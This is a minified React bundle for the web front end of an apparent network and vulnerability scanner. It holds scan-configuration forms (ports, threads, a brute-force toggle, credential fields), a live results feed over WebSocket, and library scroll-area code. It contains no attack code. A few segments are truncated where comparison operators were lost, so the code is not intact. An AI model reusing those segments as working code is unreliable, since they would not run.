w-4"}),E.jsx(PP,{children:c})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(BA,{className:"w-3.5 h-3.5"}),h("scanTarget")]}),E.jsx(Rr,{placeholder:h("scanTargetPlaceholder"),value:e.host,onChange:O=>x("host",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(nB,{className:"w-3.5 h-3.5"}),h("scanPorts")]}),E.jsx(Rr,{placeholder:"1-65535",value:e.ports,onChange:O=>x("ports",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($B,{className:"w-3.5 h-3.5"}),h("scanPreset")]}),E.jsxs(L7,{onValueChange:S,disabled:w,children:[E.jsx(xP,{children:E.jsx(I7,{placeholder:h("scanPresetSelect")})}),E.jsx(OP,{children:n.map(O=>E.jsx(EP,{value:O.id,children:p.language==="zh"?O.name:O.name_en},O.id))})]})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(xd,{className:"w-3.5 h-3.5"}),h("scanThreads")]}),E.jsx(Rr,{type:"number",value:e.thread_num,onChange:O=>x("thread_num",parseInt(O.target.value)||600),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(wM,{className:"w-3.5 h-3.5"}),h("scanTimeout")]}),E.jsx(Rr,{type:"number",value:e.timeout,onChange:O=>x("timeout",parseInt(O.target.value)||3),disabled:w,className:"field-input-mono"})]})]}),E.jsxs(F7,{open:m,onOpenChange:y,children:[E.jsx(V7,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",disabled:w,className:"flex items-center gap-1.5 text-sm text-muted-foreground hover:text-foreground p-0 h-auto font-normal",children:[E.jsx(wB,{className:"w-4 h-4"}),E.jsx(Ch,{className:`w-4 h-4 transition-transform ${m?"rotate-180":""}`}),h("scanAdvanced")]})}),E.jsx(K7,{className:"mt-3",children:E.jsxs("div",{className:"space-y-3 p-3 sm:p-4 rounded-lg bg-muted/50 border",children:[E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2 sm:gap-3",children:[E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(EM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisablePing")]}),E.jsx(cd,{checked:e.disable_ping,onCheckedChange:O=>x("disable_ping",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx($A,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisableBrute")]}),E.jsx(cd,{checked:e.disable_brute,onCheckedChange:O=>x("disable_brute",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(yM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanAliveOnly")]}),E.jsx(cd,{checked:e.alive_only,onCheckedChange:O=>x("alive_only",O),disabled:w})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(DB,{className:"w-3.5 h-3.5"}),h("scanUsername")]}),E.jsx(Rr,{value:e.username,onChange:O=>x("username",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($A,{className:"w-3.5 h-3.5"}),h("scanPassword")]}),E.jsx(Rr,{type:"password",value:e.password,onChange:O=>x("password",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(F6,{className:"w-3.5 h-3.5"}),h("scanDomain")]}),E.jsx(Rr,{value:e.domain,onChange:O=>x("domain",O.target.value),disabled:w,className:"field-input"})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludeHosts")]}),E.jsx(Rr,{value:e.exclude_hosts,onChange:O=>x("exclude_hosts",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludePorts")]}),E.jsx(Rr,{value:e.exclude_ports,onChange:O=>x("exclude_ports",O.target.value),disabled:w,className:"field-input-mono"})]})]})]})})]})]})]})}const nq=Dh("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80",outline:"text-foreground",host:"border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400",port:"border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400",service:"border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400",vuln:"border-transparent bg-destructive/10 text-destructive"}},defaultVariants:{variant:"default"}});function ga({className:e,variant:t,...n}){return E.jsx("div",{className:Ee(nq({variant:t}),e),...n})}function rq(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var Jb="ScrollArea",[RP]=Fn(Jb),[aq,hr]=RP(Jb),DP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,type:r="hover",dir:i,scrollHideDelay:l=600,...c}=e,[u,f]=v.useState(null),[h,p]=v.useState(null),[m,y]=v.useState(null),[x,S]=v.useState(null),[w,O]=v.useState(null),[A,_]=v.useState(0),[T,j]=v.useState(0),[M,P]=v.useState(!1),[R,I]=v.useState(!1),B=De(t,U=>f(U)),q=Kc(i);return E.jsx(aq,{scope:n,type:r,dir:q,scrollHideDelay:l,scrollArea:u,viewport:h,onViewportChange:p,content:m,onContentChange:y,scrollbarX:x,onScrollbarXChange:S,scrollbarXEnabled:M,onScrollbarXEnabledChange:P,scrollbarY:w,onScrollbarYChange:O,scrollbarYEnabled:R,onScrollbarYEnabledChange:I,onCornerWidthChange:_,onCornerHeightChange:j,children:E.jsx(Ce.div,{dir:q,...c,ref:B,style:{position:"relative","--radix-scroll-area-corner-width":A+"px","--radix-scroll-area-corner-height":T+"px",...e.style}})})});DP.displayName=Jb;var kP="ScrollAreaViewport",LP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,children:r,nonce:i,...l}=e,c=hr(kP,n),u=v.useRef(null),f=De(t,u,c.onViewportChange);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"},nonce:i}),E.jsx(Ce.div,{"data-radix-scroll-area-viewport":"",...l,ref:f,style:{overflowX:c.scrollbarXEnabled?"scroll":"hidden",overflowY:c.scrollbarYEnabled?"scroll":"hidden",...e.style},children:E.jsx("div",{ref:c.onContentChange,style:{minWidth:"100%",display:"table"},children:r})})]})});LP.displayName=kP;var Yr="ScrollAreaScrollbar",ex=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),{onScrollbarXEnabledChange:l,onScrollbarYEnabledChange:c}=i,u=e.orientation==="horizontal";return v.useEffect(()=>(u?l(!0):c(!0),()=>{u?l(!1):c(!1)}),[u,l,c]),i.type==="hover"?E.jsx(iq,{...r,ref:t,forceMount:n}):i.type==="scroll"?E.jsx(oq,{...r,ref:t,forceMount:n}):i.type==="auto"?E.jsx(IP,{...r,ref:t,forceMount:n}):i.type==="always"?E.jsx(tx,{...r,ref:t}):null});ex.displayName=Yr;var iq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),[l,c]=v.useState(!1);return v.useEffect(()=>{const u=i.scrollArea;let f=0;if(u){const h=()=>{window.clearTimeout(f),c(!0)},p=()=>{f=window.setTimeout(()=>c(!1),i.scrollHideDelay)};return u.addEventListener("pointerenter",h),u.addEventListener("pointerleave",p),()=>{window.clearTimeout(f),u.removeEventListener("pointerenter",h),u.removeEventListener("pointerleave",p)}}},[i.scrollArea,i.scrollHideDelay]),E.jsx(ln,{present:n||l,children:E.jsx(IP,{"data-state":l?"visible":"hidden",...r,ref:t})})}),oq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),l=e.orientation==="horizontal",c=Fh(()=>f("SCROLL_END"),100),[u,f]=rq("hidden",{hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}});return v.useEffect(()=>{if(u==="idle"){const h=window.setTimeout(()=>f("HIDE"),i.scrollHideDelay);return()=>window.clearTimeout(h)}},[u,i.scrollHideDelay,f]),v.useEffect(()=>{const h=i.viewport,p=l?"scrollLeft":"scrollTop";if(h){let m=h[p];const y=()=>{const x=h[p];m!==x&&(f("SCROLL"),c()),m=x};return h.addEventListener("scroll",y),()=>h.removeEventListener("scroll",y)}},[i.viewport,l,f,c]),E.jsx(ln,{present:n||u!=="hidden",children:E.jsx(tx,{"data-state":u==="hidden"?"hidden":"visible",...r,ref:t,onPointerEnter:ue(e.onPointerEnter,()=>f("POINTER_ENTER")),onPointerLeave:ue(e.onPointerLeave,()=>f("POINTER_LEAVE"))})})}),IP=v.forwardRef((e,t)=>{const n=hr(Yr,e.__scopeScrollArea),{forceMount:r,...i}=e,[l,c]=v.useState(!1),u=e.orientation==="horizontal",f=Fh(()=>{if(n.viewport){const h=n.viewport.offsetWidth{const{orientation:n="vertical",...r}=e,i=hr(Yr,e.__scopeScrollArea),l=v.useRef(null),c=v.useRef(0),[u,f]=v.useState({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),h=HP(u.viewport,u.content),p={...r,sizes:u,onSizesChange:f,hasThumb:h>0&&h<1,onThumbChange:y=>l.current=y,onThumbPointerUp:()=>c.current=0,onThumbPointerDown:y=>c.current=y};function m(y,x){return dq(y,c.current,u,x)}return n==="horizontal"?E.jsx(lq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollLeft,x=xC(y,u,i.dir);l.current.style.transform=`translate3d(${x}px, 0, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollLeft=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollLeft=m(y,i.dir))}}):n==="vertical"?E.jsx(sq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollTop,x=xC(y,u);l.current.style.transform=`translate3d(0, ${x}px, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollTop=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollTop=m(y))}}):null}),lq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarXChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"horizontal",...i,ref:h,sizes:n,style:{bottom:0,left:l.dir==="rtl"?"var(--radix-scroll-area-corner-width)":0,right:l.dir==="ltr"?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.x),onDragScroll:p=>e.onDragScroll(p.x),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollLeft+p.deltaX;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollWidth,viewport:l.viewport.offsetWidth,scrollbar:{size:f.current.clientWidth,paddingStart:Nd(c.paddingLeft),paddingEnd:Nd(c.paddingRight)}})}})}),sq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarYChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"vertical",...i,ref:h,sizes:n,style:{top:0,right:l.dir==="ltr"?0:void 0,left:l.dir==="rtl"?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.y),onDragScroll:p=>e.onDragScroll(p.y),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollTop+p.deltaY;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollHeight,viewport:l.viewport.offsetHeight,scrollbar:{size:f.current.clientHeight,paddingStart:Nd(c.paddingTop),paddingEnd:Nd(c.paddingBottom)}})}})}),[cq,zP]=RP(Yr),$P=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,sizes:r,hasThumb:i,onThumbChange:l,onThumbPointerUp:c,onThumbPointerDown:u,onThumbPositionChange:f,onDragScroll:h,onWheelScroll:p,onResize:m,...y}=e,x=hr(Yr,n),[S,w]=v.useState(null),O=De(t,B=>w(B)),A=v.useRef(null),_=v.useRef(""),T=x.viewport,j=r.content-r.viewport,M=en(p),P=en(f),R=Fh(m,10);function I(B){if(A.current){const q=B.clientX-A.current.left,U=B.clientY-A.current.top;h({x:q,y:U})}}return v.useEffect(()=>{const B=q=>{const U=q.target;S?.contains(U)&&M(q,j)};return document.addEventListener("wheel",B,{passive:!1}),()=>document.removeEventListener("wheel",B,{passive:!1})},[T,S,j,M]),v.useEffect(P,[r,P]),Rl(S,R),Rl(x.content,R),E.jsx(cq,{scope:n,scrollbar:S,hasThumb:i,onThumbChange:en(l),onThumbPointerUp:en(c),onThumbPositionChange:P,onThumbPointerDown:en(u),children:E.jsx(Ce.div,{...y,ref:O,style:{position:"absolute",...y.style},onPointerDown:ue(e.onPointerDown,B=>{B.button===0&&(B.target.setPointerCapture(B.pointerId),A.current=S.getBoundingClientRect(),_.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",x.viewport&&(x.viewport.style.scrollBehavior="auto"),I(B))}),onPointerMove:ue(e.onPointerMove,I),onPointerUp:ue(e.onPointerUp,B=>{const q=B.target;q.hasPointerCapture(B.pointerId)&&q.releasePointerCapture(B.pointerId),document.body.style.webkitUserSelect=_.current,x.viewport&&(x.viewport.style.scrollBehavior=""),A.current=null})})})}),Td="ScrollAreaThumb",BP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=zP(Td,e.__scopeScrollArea);return E.jsx(ln,{present:n||i.hasThumb,children:E.jsx(uq,{ref:t,...r})})}),uq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,style:r,...i}=e,l=hr(Td,n),c=zP(Td,n),{onThumbPositionChange:u}=c,f=De(t,m=>c.onThumbChange(m)),h=v.useRef(void 0),p=Fh(()=>{h.current&&(h.current(),h.current=void 0)},100);return v.useEffect(()=>{const m=l.viewport;if(m){const y=()=>{if(p(),!h.current){const x=hq(m,u);h.current=x,u()}};return u(),m.addEventListener("scroll",y),()=>m.removeEventListener("scroll",y)}},[l.viewport,p,u]),E.jsx(Ce.div,{"data-state":c.hasThumb?"visible":"hidden",...i,ref:f,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...r},onPointerDownCapture:ue(e.onPointerDownCapture,m=>{const x=m.target.getBoundingClientRect(),S=m.clientX-x.left,w=m.clientY-x.top;c.onThumbPointerDown({x:S,y:w})}),onPointerUp:ue(e.onPointerUp,c.onThumbPointerUp)})});BP.displayName=Td;var nx="ScrollAreaCorner",UP=v.forwardRef((e,t)=>{const n=hr(nx,e.__scopeScrollArea),r=!!(n.scrollbarX&&n.scrollbarY);return n.type!=="scroll"&&r?E.jsx(fq,{...e,ref:t}):null});UP.displayName=nx;var fq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,...r}=e,i=hr(nx,n),[l,c]=v.useState(0),[u,f]=v.useState(0),h=!!(l&&u);return Rl(i.scrollbarX,()=>{const p=i.scrollbarX?.offsetHeight||0;i.onCornerHeightChange(p),f(p)}),Rl(i.scrollbarY,()=>{const p=i.scrollbarY?.offsetWidth||0;i.onCornerWidthChange(p),c(p)}),h?E.jsx(Ce.div,{...r,ref:t,style:{width:l,height:u,position:"absolute",right:i.dir==="ltr"?0:void 0,left:i.dir==="rtl"?0:void 0,bottom:0,...e.style}}):null});function Nd(e){return e?parseInt(e,10):0}function HP(e,t){const n=e/t;return isNaN(n)?0:n}function qh(e){const t=HP(e.viewport,e.content),n=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,r=(e.scrollbar.size-n)*t;return Math.max(r,18)}function dq(e,t,n,r="ltr"){const i=qh(n),l=i/2,c=t||l,u=i-c,f=n.scrollbar.paddingStart+c,h=n.scrollbar.size-n.scrollbar.paddingEnd-u,p=n.content-n.viewport,m=r==="ltr"?[0,p]:[p*-1,0];return qP([f,h],m)(e)}function xC(e,t,n="ltr"){const r=qh(t),i=t.scrollbar.paddingStart+t.scrollbar.paddingEnd,l=t.scrollbar.size-i,c=t.content-t.viewport,u=l-r,f=n==="ltr"?[0,c]:[c*-1,0],h=g0(e,f);return qP([0,c],[0,u])(h)}function qP(e,t){return n=>{if(e[0]===e[1]||t[0]===t[1])return t[0];const r=(t[1]-t[0])/(e[1]-e[0]);return t[0]+r*(n-e[0])}}function FP(e,t){return e>0&&e{})=>{let n={left:e.scrollLeft,top:e.scrollTop},r=0;return(function i(){const l={left:e.scrollLeft,top:e.scrollTop},c=n.left!==l.left,u=n.top!==l.top;(c||u)&&t(),n=l,r=window.requestAnimationFrame(i)})(),()=>window.cancelAnimationFrame(r)};function Fh(e,t){const n=en(e),r=v.useRef(0);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),v.useCallback(()=>{window.clearTimeout(r.current),r.current=window.setTimeout(n,t)},[n,t])}function Rl(e,t){const n=en(t);Ft(()=>{let r=0;if(e){const i=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(n)});return i.observe(e),()=>{window.cancelAnimationFrame(r),i.unobserve(e)}}},[e,n])}var VP=DP,pq=LP,mq=UP;const rx=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(VP,{ref:r,className:Ee("relative overflow-hidden",e),...n,children:[E.jsx(pq,{className:"h-full w-full rounded-[inherit]",children:t}),E.jsx(KP,{}),E.jsx(mq,{})]}));rx.displayName=VP.displayName;const KP=v.forwardRef(({className:e,orientation:t="vertical",...n},r)=>E.jsx(ex,{ref:r,orientation:t,className:Ee("flex touch-none select-none transition-colors",t==="vertical"&&"h-full w-2.5 border-l border-l-transparent p-[1px]",t==="horizontal"&&"h-2.5 flex-col border-t border-t-transparent p-[1px]",e),...n,children:E.jsx(BP,{className:"relative flex-1 rounded-full bg-border"})}));KP.displayName=ex.displayName;function Vh({icon:e,title:t,description:n,action:r,className:i,...l}){return E.jsxs("div",{className:Ee("flex flex-col items-center justify-center py-12 px-4 text-center",i),...l,children:[e&&E.jsx("div",{className:"mb-4 rounded-full bg-muted p-4",children:E.jsx(e,{className:"h-8 w-8 text-muted-foreground"})}),E.jsx("h3",{className:"text-lg font-medium text-foreground mb-1",children:t}),n&&E.jsx("p",{className:"text-sm text-muted-foreground max-w-sm mb-4",children:n}),r&&E.jsx("div",{className:"mt-2",children:r})]})}const YP=v.createContext(null);function vq({children:e}){const[t,n]=v.useState(!1),[r,i]=v.useState([]),l=v.useRef(null),c=v.useRef(null),u=v.useRef(!1),f=v.useRef(new Map),h=v.useRef(0),p=v.useCallback(()=>{f.current.clear(),h.current=0,i([])},[]),m=v.useCallback(()=>{if(!u.current)return;if(l.current){const O=l.current.readyState;if(O===WebSocket.OPEN||O===WebSocket.CONNECTING)return}const S=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/ws`,w=new WebSocket(S);l.current=w,w.onopen=()=>{u.current&&n(!0)},w.onclose=()=>{u.current&&(n(!1),c.current=setTimeout(()=>{u.current&&m()},3e3))},w.onerror=()=>{w.close()},w.onmessage=O=>{if(u.current)try{const A=JSON.parse(O.data);if(A.type==="scan_result"&&A.data){const _=A.data,T=A.timestamp||Date.now(),j={id:++h.current,time:new Date(T).toLocaleTimeString(),type:_.type||"info",target:_.target||"",status:_.status||""},M=`${j.type}|${j.target}`,P=f.current.get(M);if(P){const I=P.status;(I==="identified"||I==="open"||I==="")&&j.status!=="identified"&&j.status!=="open"&&j.status!==""&&f.current.set(M,{...j,id:P.id})}else f.current.set(M,j);const R=Array.from(f.current.values()).sort((I,B)=>B.id-I.id).slice(0,100);i(R)}}catch{}}},[]);v.useEffect(()=>(u.current=!0,m(),()=>{u.current=!1,c.current&&(clearTimeout(c.current),c.current=null),l.current&&(l.current.close(),l.current=null)}),[m]);const y=v.useMemo(()=>({isConnected:t,logs:r,clearLogs:p}),[t,r,p]);return E.jsx(YP.Provider,{value:y,children:e})}function ax(){const e=v.useContext(YP);if(!e)throw new Error("useLiveFeed must be used within a LiveFeedProvider");return e}const gq={host:Tb,port:_b,service:OB,vuln:Nb};function GP({compact:e=!1,showTypeLabel:t=!1}){const{t:n}=xo(),{isConnected:r,logs:i}=ax(),l=u=>{const f=u?.toLowerCase();return gq[f]||bM},c=u=>{switch(u?.toLowerCase()){case"host":return n("typeHost");case"port":return n("typePort");case"service":return n("typeService");case"vuln":return n("typeVuln");default:return u}};return E.jsxs(Gl,{className:e?"":"flex-1 flex flex-col",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),n("liveFeed")]}),E.jsxs("div",{className:"flex items-center gap-2",children:[r?E.jsxs(ga,{variant:"default",className:"gap-1",children:[E.jsx(EM,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedConnected")})]}):E.jsxs(ga,{variant:"destructive",className:"gap-1",children:[E.jsx(LB,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedDisconnected")})]}),E.jsxs(ga,{variant:"outline",className:"font-mono",children:[i.length,"/100"]})]})]}),E.jsx(Zl,{className:e?"pt-0":"pt-0 flex-1 min-h-0",children:E.jsx(rx,{className:e?"h-52 lg:h-56":"h-full",children:i.length===0?E.jsx(Vh,{icon:OM,title:n("resultsEmpty"),description:n("liveFeedEmptyDescription"),className:e?"py-6":"py-8"}):E.jsx("div",{className:"space-y-0.5",children:i.map(u=>{const f=l(u.type);return E.jsxs("div",{className:"log-line animate-fade-in group",children:[E.jsx("span",{className:"log-time",children:u.time}),E.jsxs(ga,{variant:u.type?.toLowerCase(),className:"gap-1 text-xs",children:[E.jsx(f,{className:"w-3 h-3"}),t&&c(u.type)]}),E.jsx("span",{className:"log-target",children:u.target}),E.jsx("span",{className:"text-muted-foreground truncate ml-auto text-xs",children:u.status})]},u.id)})})})})]})}var yq=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function ix(e){if(typeof e!="string")return!1;var t=yq;return t.includes(e)}var bq=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underli